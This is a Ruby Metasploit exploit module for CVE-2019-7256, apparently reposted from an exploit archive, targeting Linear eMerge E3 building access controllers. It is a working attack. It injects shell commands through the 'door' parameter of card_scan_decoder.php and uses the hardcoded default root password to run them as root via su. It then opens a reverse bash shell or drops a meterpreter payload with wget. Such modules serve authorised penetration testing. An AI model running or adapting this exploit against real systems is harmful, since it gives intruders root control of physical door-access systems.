Linear eMerge E3-Series Access Controller Command Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'rex/stopwatch'  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Linear eMerge E3-Series Access Controller Command Injection',  
'Description' => %q{  
This module exploits a command injection vulnerability in the Linear eMerge  
E3-Series Access Controller. The Linear eMerge E3 versions `1.00-06` and below are vulnerable  
to unauthenticated command injection in card_scan_decoder.php via the `No` and `door` HTTP GET parameter.  
Successful exploitation results in command execution as the `root` user.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'Gjoko Krstic <gjoko[at]applied-risk.com>', # Discovery  
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # MSF Module contributor  
],  
'References' => [  
[ 'CVE', '2019-7256'],  
[ 'URL', 'https://applied-risk.com/resources/ar-2019-005' ],  
[ 'URL', 'https://na.niceforyou.com/' ],  
[ 'URL', 'https://attackerkb.com/topics/8WUJkci8N4/cve-2019-7256' ],  
[ 'EDB', '47649'],  
[ 'PACKETSTORM', '155256']  
],  
'DisclosureDate' => '2019-10-29',  
'Platform' => ['unix', 'linux'],  
'Arch' => [ARCH_CMD, ARCH_ARMLE],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix Command',  
{  
'Platform' => 'unix',  
'Arch' => ARCH_CMD,  
'Type' => :unix_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux Dropper',  
{  
'Platform' => 'linux',  
'Arch' => [ARCH_ARMLE],  
'Type' => :linux_dropper,  
'CmdStagerFlavor' => [ 'wget', 'printf', 'echo' ],  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'RPORT' => 80,  
'SSL' => false  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
register_options(  
[  
OptString.new('ROOT_PASSWORD', [ true, 'default root password on a vulnerable Linear eMerge E3-Series access controller', 'davestyle']),  
]  
)  
end  
  
def execute_command(cmd, _opts = {})  
random_no = rand(30..100)  
return send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'card_scan_decoder.php'),  
'vars_get' =>  
{  
'No' => random_no,  
'door' => "`echo #{datastore['ROOT_PASSWORD']}|su -c \"#{cmd}\"`"  
}  
})  
rescue StandardError => e  
elog("#{peer} - Communication error occurred: #{e.message}", error: e)  
fail_with(Failure::Unknown, "Communication error occurred: #{e.message}")  
end  
  
# Checking if the target is vulnerable by executing a randomized sleep to test the remote code execution  
def check  
print_status("Checking if #{peer} can be exploited.")  
sleep_time = rand(2..10)  
print_status("Performing command injection test issuing a sleep command of #{sleep_time} seconds.")  
res, elapsed_time = Rex::Stopwatch.elapsed_time do  
execute_command("sleep #{sleep_time}")  
end  
  
return CheckCode::Unknown('No response received from the target!') unless res  
return CheckCode::Safe('Target is not affected by this vulnerability.') unless res.code == 200 && !res.body.blank? && res.body =~ /"card_format_default":"/  
  
print_status("Elapsed time: #{elapsed_time.round(2)} seconds.")  
return CheckCode::Safe('Command injection test failed.') unless elapsed_time >= sleep_time  
  
CheckCode::Vulnerable('Successfully tested command injection.')  
end  
  
def exploit  
case target['Type']  
when :unix_cmd  
print_status("Executing #{target.name} with #{payload.encoded}")  
# Don't check the response here since the server won't respond  
# if the payload is successfully executed.  
execute_command(payload.encoded)  
when :linux_dropper  
print_status("Executing #{target.name}")  
execute_cmdstager(linemax: 262144)  
end  
end  
end  
`